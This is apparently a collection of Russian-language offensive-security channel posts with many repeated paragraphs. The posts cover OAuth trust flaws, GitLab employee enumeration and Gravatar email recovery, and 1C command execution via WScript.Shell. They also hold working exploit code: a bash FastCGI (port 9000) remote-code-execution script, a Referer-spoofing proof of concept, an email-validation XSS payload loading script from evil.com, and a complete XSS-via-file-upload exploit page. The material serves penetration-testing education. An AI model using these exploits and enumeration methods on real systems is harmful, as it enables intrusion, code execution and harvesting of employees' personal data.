Многие знают про различные фичи oauth, благодаря которым уязвимости появляются из-за излишнего доверия к провайдерам. Например, регистрация в одной из соцсетей с полезной нагрузкой (
Некоторые сервисы позволяют не подтверждать, например, номер телефона. А в момент регистрации через кнопку “Войти через…” - веб приложение забирает поля пользователя, в том числе и телефон, хоть пользователь не подтвердил его. Войдя через такой аккаунт есть вероятность попасть к одному из клиентов веб-приложения, того самого, чей номер был введен.
'-alert()-'
в качестве имени), когда как при обычной регистрации спецсимволы использовать запрещено.Некоторые сервисы позволяют не подтверждать, например, номер телефона. А в момент регистрации через кнопку “Войти через…” - веб приложение забирает поля пользователя, в том числе и телефон, хоть пользователь не подтвердил его. Войдя через такой аккаунт есть вероятность попасть к одному из клиентов веб-приложения, того самого, чей номер был введен.
А где-то можно не подтверждать email.
Например, популярный ныне сервис Discord. В нем ты можешь завести аккаунт на произвольный email (например
Например, популярный ныне сервис Discord. В нем ты можешь завести аккаунт на произвольный email (например
[email protected]
), и не подтверждая email зайти через него на один из сайтов, если веб-приложение будет ему доверять.Gitlab - достаточно популярный продукт для разработки, благодаря self-hosted решению его часто можно встретить на поддоменах компаний. Помимо того, что в нем также присутствует регистрация без подтверждения email’а (смотрим в предыдущие посты), это еще и отличная возможность собрать информацию о сотрудниках.
Без аутентификации доступен следующий API метод - gitlab.company.local/api/v4/users/{id}
На самом gitlab - эта ручка также доступна, например https://gitlab.com/api/v4/users/7154957:
Перебирая идентификаторы, можно за короткое время собрать список логинов (и другую информацию о сотрудниках компании).
По логину также можно узнать открытые ключи - https://gitlab.com/webpwn.keys
Отдельного упоминания заслуживает avatar_url:
А так как у нас скорее всего корпоративный домен, узнать логины по остальным данным и собрать базу программистов компании будет достаточно просто.
Без аутентификации доступен следующий API метод - gitlab.company.local/api/v4/users/{id}
На самом gitlab - эта ручка также доступна, например https://gitlab.com/api/v4/users/7154957:
{"id":7154957,"name":"Bo0oM","username":"webpwn","state":"active","avatar_url":"https://secure.gravatar.com/avatar/4e99709ca6b52f78d02cb92a5bc65d85?s=80\u0026d=identicon","web_url":"https://gitlab.com/webpwn","created_at":"2020-09-21T17:25:55.046Z","bio":"","bio_html":"","location":"","public_email":"","skype":"","linkedin":"","twitter":"@i_bo0om.ru","website_url":"https://t.iss.one/webpwn","organization":"","job_title":"","work_information":null}
Перебирая идентификаторы, можно за короткое время собрать список логинов (и другую информацию о сотрудниках компании).
По логину также можно узнать открытые ключи - https://gitlab.com/webpwn.keys
Отдельного упоминания заслуживает avatar_url:
”avatar_url":"https://secure.gravatar.com/avatar/4e99709ca6b52f78d02cb92a5bc65d85?s=80\u0026d=identicon”
Сервис gavatar содержит email в пути к изображению - 4e99709ca6b52f78d02cb92a5bc65d85.
Это ни что иное, как md5 от email’а в нижнем регистре.echo -n "[email protected]" | md5
4e99709ca6b52f78d02cb92a5bc65d85
А так как у нас скорее всего корпоративный домен, узнать логины по остальным данным и собрать базу программистов компании будет достаточно просто.
🔥1
Для тех, кто использует Nominatim (такой движок для геокодинга от OpenStreetMap) в официальных докер-образах: обратите внимание на одну забавную строку.
В большинстве случаев ничего страшного не произойдет, так как докеры обычно не торчат наружу. Но мало ли :)
В большинстве случаев ничего страшного не произойдет, так как докеры обычно не торчат наружу. Но мало ли :)
Если ты нашёл server-status, но в нем нет ничего кроме статистики - попробуй добавить к нему параметр full:
Если это PHP-FPM Status Page, то тебе откроются логи запросов.
/server-status?full
Если это PHP-FPM Status Page, то тебе откроются логи запросов.
Что нужно знать, при пентесте 1С
* Иногда там выдаются имена пользователей (если включено) в автодополнении, либо можно попробовать обратиться на
* Пароли из коробки не чувствительны к регистру. "Пароль" и "пАрОль" - одно и тоже, что уменьшает количество для брута (особенно классно вместе с предыдущим пунктом).
* Внутри часто есть выполнение произвольного кода.
* Иногда там выдаются имена пользователей (если включено) в автодополнении, либо можно попробовать обратиться на
/ru_RU/e1cib/users
.* Пароли из коробки не чувствительны к регистру. "Пароль" и "пАрОль" - одно и тоже, что уменьшает количество для брута (особенно классно вместе с предыдущим пунктом).
* Внутри часто есть выполнение произвольного кода.
1C_RCE.epf
23.9 KB
Если в 1С включено интерактивное открытие внешних отчетов и обработок, то достаточно тыкнуть Файл => Открыть и загрузить консоль запросов для управляемого приложения с расширением epf.
В консоле же легко выполнять произвольные команды и выводить их с помощью функции "Сообщить".
Например:
Дальше уже можно загружать внешние сценарии, повышать привилегии (скорее всего уже будет админ) и распространяться по сети.
Например:
СисИнфо = Новый СистемнаяИнформация;
Shell = Новый COMОбъект("WScript.Shell");
UserDir = Shell.ExpandEnvironmentStrings("%USERPROFILE%");
Сообщить(СисИнфо.ВерсияОС+" "+СисИнфо.ТипПлатформы+Символы.ПС+Символы.ПС+СисИнфо.Процессор+", RAM: "+СисИнфо.ОперативнаяПамять+" МБ"+Символы.ПС);
Сообщить("Каталог 1с: " + КаталогПрограммы());
Сообщить("Пользователь: "+UserDir);
Тасклист=Shell.Exec("tasklist /v");
Сообщить(Тасклист.StdOut.ReadAll());
Дальше уже можно загружать внешние сценарии, повышать привилегии (скорее всего уже будет админ) и распространяться по сети.
Видел хоть раз открытый порт 9000?
Nmap (даже с аргументом -sV) не опознает его, а скорее всего это был FastCGI.
А самое классное - что это выполнение произвольного кода, достаточно подрубиться к нему, например, таким bash-скриптом:
Или воспользоваться более мощным клиентом, например, таким.
Nmap (даже с аргументом -sV) не опознает его, а скорее всего это был FastCGI.
А самое классное - что это выполнение произвольного кода, достаточно подрубиться к нему, например, таким bash-скриптом:
#!/bin/bash
PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';" # Команда
FILENAMES="/var/www/public/index.php" # Путь к существующему файлу
HOST=$1
B64=$(echo "$PAYLOAD"|base64)
for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT
done
Или воспользоваться более мощным клиентом, например, таким.
🔥4
Тут дядьки из Epieos показали бесплатный сервис по пробиву номера телефона в Signal/Skype/Telegram.
Возможно, добавят еще всякие Facebook/Instagram и прочие соцсеточки. Наблюдаем :)
Возможно, добавят еще всякие Facebook/Instagram и прочие соцсеточки. Наблюдаем :)
2020 потрясающий год. Помимо всего прочего, в Chrome можно подделать заголовок Referer, чего не было более десяти лет (раньше с помощью Flash можно было подменить этот заголовок).
PoC был выложен несколько дней назад и совершенно тривиальный:
Запрос к сайту уйдет с заголовком
К счастью, половину интернета этим не заломаешь (SameSite cookie, вот это все), но имейте в виду.
PoC был выложен несколько дней назад и совершенно тривиальный:
<base href="https://www.google.com/">
<style>
@import 'https://CSRF.vulnerable.example/';
</style>
Запрос к сайту уйдет с заголовком
Referer: https://www.google.com/
К счастью, половину интернета этим не заломаешь (SameSite cookie, вот это все), но имейте в виду.
Бум вбросил в чат скрин с требованиями к инфраструктурным пентестерам (внутрянщикам), которые я как-то накидывал, и мы обсуждали в другом чате.
Список весьма спорный, но он ещё изменялся (в том числе по замечаниям разных людей), так что решил сделать публичным док с обновляемой матрицей компетенций по наиболее распространённым пентестерским специализациям.
Док тут: https://docs.google.com/spreadsheets/d/1yrQRyYS7Li3UpDwJoRqJ7uxD0g-ctm3I9-o-jHgzymg/
В первой вкладке есть интро, но оговорюсь ещё раз, что это лишь примерные прикидки, и не обязательно знать всё ;)
В то же время, ничего особенно сложного там нет. Думаю, что всё это легко освоить за указанные во втором столбце сроки.
Список весьма спорный, но он ещё изменялся (в том числе по замечаниям разных людей), так что решил сделать публичным док с обновляемой матрицей компетенций по наиболее распространённым пентестерским специализациям.
Док тут: https://docs.google.com/spreadsheets/d/1yrQRyYS7Li3UpDwJoRqJ7uxD0g-ctm3I9-o-jHgzymg/
В первой вкладке есть интро, но оговорюсь ещё раз, что это лишь примерные прикидки, и не обязательно знать всё ;)
В то же время, ничего особенно сложного там нет. Думаю, что всё это легко освоить за указанные во втором столбце сроки.
Google Docs
Матрица компетенций 1221 RC
После эксплутации инъекции в sql с помощью следующего email адреса
невольно задумываешься: а какого хера это вообще пропустило как валидный email?
В целом, локальная часть (логин, до @) email’а может сожержать спецсимволы по RFC, если она заключена в двойные кавычки. А дальше - уже любимые языки программирования немного отходят от того, какие именно символы можно использовать.
Поэтому, следующая магия:
Провалидирует и вполне законно вернет мыло с вектором атаки:
А там как дальше разработчики его отображают - отдельный вопрос.
"'-sleep(5)-'"@mail.local
невольно задумываешься: а какого хера это вообще пропустило как валидный email?
В целом, локальная часть (логин, до @) email’а может сожержать спецсимволы по RFC, если она заключена в двойные кавычки. А дальше - уже любимые языки программирования немного отходят от того, какие именно символы можно использовать.
Поэтому, следующая магия:
php -r "echo filter_var('\"\'--><script/src=//evil.com></script>\"@example.com', FILTER_VALIDATE_EMAIL);”
Провалидирует и вполне законно вернет мыло с вектором атаки:
"'--><script/src=//evil.com></script>"@example.com
А там как дальше разработчики его отображают - отдельный вопрос.
Один из известных способ эксплуатации десериализации в .NET - это модификация значения параметра ViewState.
Как известно, для его модификации в большинстве случаев необходим machineKey, который, в свою очередь, состоит из параметров validationKey и decryptionKey, которые в большинстве случаев генерируются автоматически под каждый проект и хранятся в файле Web.config.
Иногда удается получить эти ключи через уязвимости разных типов на целевом ресурсе, но бывает, что разработчики переиспользуют чужие ключи или "предусмотрительно" делятся своими на Github. Для проверки на предмет использования слабых ключей существует проект Blacklist3r, в рамках которого была собрана из ~2 тысяч ключевых пар с различных сетевых ресурсов (MSDN, StackOverflow, etc.).
Недавно я собрал аналогичную базу ключей с проектов на Github, причем оказалось, что ключи уникальные и отсутствуют в базе Blacklist3r. Pull request с обновлением в проект Blacklist3r уже отправлен.
База ключей с информацией о репозиториях, откуда они были получены.
Как известно, для его модификации в большинстве случаев необходим machineKey, который, в свою очередь, состоит из параметров validationKey и decryptionKey, которые в большинстве случаев генерируются автоматически под каждый проект и хранятся в файле Web.config.
Иногда удается получить эти ключи через уязвимости разных типов на целевом ресурсе, но бывает, что разработчики переиспользуют чужие ключи или "предусмотрительно" делятся своими на Github. Для проверки на предмет использования слабых ключей существует проект Blacklist3r, в рамках которого была собрана из ~2 тысяч ключевых пар с различных сетевых ресурсов (MSDN, StackOverflow, etc.).
Недавно я собрал аналогичную базу ключей с проектов на Github, причем оказалось, что ключи уникальные и отсутствуют в базе Blacklist3r. Pull request с обновлением в проект Blacklist3r уже отправлен.
База ключей с информацией о репозиториях, откуда они были получены.
Когда нужно фаззить веб-приложения не только кавычками, на помощь приходят мутирующие фаззеры. На вход они получают пользовательские данные, а на выходе измененные, заведомо некорректные. Это позволяет найти различного рода уязвимости и проверить веб-приложение и используемые там библиотеки на различные исключительные ситуации.
Первый и самый известный, Radamsa
Radamsa производит манипуляции с входными данными множеством разных неожиданных способов, включая чрезмерное повторение, инвертирование разрядов, вставку управляющих символов и т. д. Причем он годится для фаззинга как отдельных строк, так и заголовков, HTTP-запросов.
Второй, это jdam
Создан он для мутации именно json строк, когда нужно сохранить структуру, чтобы пройти валидацию данных. Помимо мутаций данных (по большей части позаимствованных у radamsa) он подмешивает различную полезную нагрузку именно для поиска веб-уязвимостей - вставляет лексемы NoSQL, нагрузку для шаблонизаторов, различные функции и операторы.
Первый и самый известный, Radamsa
Radamsa производит манипуляции с входными данными множеством разных неожиданных способов, включая чрезмерное повторение, инвертирование разрядов, вставку управляющих символов и т. д. Причем он годится для фаззинга как отдельных строк, так и заголовков, HTTP-запросов.
Второй, это jdam
Создан он для мутации именно json строк, когда нужно сохранить структуру, чтобы пройти валидацию данных. Помимо мутаций данных (по большей части позаимствованных у radamsa) он подмешивает различную полезную нагрузку именно для поиска веб-уязвимостей - вставляет лексемы NoSQL, нагрузку для шаблонизаторов, различные функции и операторы.
И так, еще один интересный кейс.
Представьте себе... Reflected XSS via File Upload.
На первый взгляд, кажется простой задачей. Но оказывается, что подсунуть пользователю отправку произвольного файла из браузера без действий пользователя не так уж просто.
Вспомним, нам нужно заставить пользователя открыть страницу, после из JS создать на странице форму с уже подставленным файлом, и после перенаправить его на уязвимую страницу вместе с загруженными данными. В этом случае нам ни как не помогут ни XMLHttpRequest, ни fetch, о которых вы сначала могли подумать.
В чем ключевая проблема? До недавнего времени вообще не было возможным подставить в поле input произвольный объект файла из кода JS.
Для содержания файлов объект input имеет поле input.files, которое представляет собой объект FileList. И до какого-то времени мы не могли его изменять (он считался immutable) и создавать кастомные FileList объекты, кроме возможности изменять его через объекты полученные из события DataTransferEvent (Т.е. когда юзер сам перетаскивал файлы на экран). Но в 17 году ребята обнаружили возможность вызывать конструктор объекта DataTransfer , который порождает изменяемый объект FileList, который мы можем наполнить своими произвольными файлами из кода JS!!!
Пример эксплоита для такой уязвимости:
Надеюсь пригодится! Мне пригодилось;)
Представьте себе... Reflected XSS via File Upload.
На первый взгляд, кажется простой задачей. Но оказывается, что подсунуть пользователю отправку произвольного файла из браузера без действий пользователя не так уж просто.
Вспомним, нам нужно заставить пользователя открыть страницу, после из JS создать на странице форму с уже подставленным файлом, и после перенаправить его на уязвимую страницу вместе с загруженными данными. В этом случае нам ни как не помогут ни XMLHttpRequest, ни fetch, о которых вы сначала могли подумать.
В чем ключевая проблема? До недавнего времени вообще не было возможным подставить в поле input произвольный объект файла из кода JS.
Для содержания файлов объект input имеет поле input.files, которое представляет собой объект FileList. И до какого-то времени мы не могли его изменять (он считался immutable) и создавать кастомные FileList объекты, кроме возможности изменять его через объекты полученные из события DataTransferEvent (Т.е. когда юзер сам перетаскивал файлы на экран). Но в 17 году ребята обнаружили возможность вызывать конструктор объекта DataTransfer , который порождает изменяемый объект FileList, который мы можем наполнить своими произвольными файлами из кода JS!!!
Пример эксплоита для такой уязвимости:
<!DOCTYPE html>
<html>
<body>
<form id="" action="https://example.com/convert-file" method="POST" enctype="multipart/form-data">
<input id="file" type="file" name="file"/>
"/>
</form>
<script>
class _DataTransfer {
constructor() {
return new ClipboardEvent("").clipboardData || new DataTransfer();}
}
const input = document.querySelector('input');
const file = new File(['<img onerror="alert(\'Domain: \'+document.domain+\'" src="x" />'],"name.html",{type:"text/html"})
const dt = new _DataTransfer();
dt.items.add(file)
input.files = dt.files;
document.forms[0].submit();
</script>
</body>
</html>
Надеюсь пригодится! Мне пригодилось;)